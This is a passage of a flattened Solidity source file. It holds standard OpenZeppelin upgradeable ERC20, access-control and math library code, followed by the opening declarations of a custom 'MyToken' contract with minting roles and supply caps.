unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
uint256[50] private __gap;
}
// File: contract-ffe781b0bc.sol
pragma solidity ^0.8.2;
contract MyToken is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable,AccessControlUpgradeable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant DEPOSITOR_ROLE = keccak256("DEPOSITOR_ROLE");
bytes32 public constant CONSENSUS_MINT_ROLE = keccak256("CONSENSUS_MINT_ROLE");
bool public isPreMint=false;
uint public initBlock;
address public childChainManagerProxy;
uint public maxSupply=2100000000*10 ** decimals();
uint public currConsensusMint=160*10 ** decimals();
//6400*365
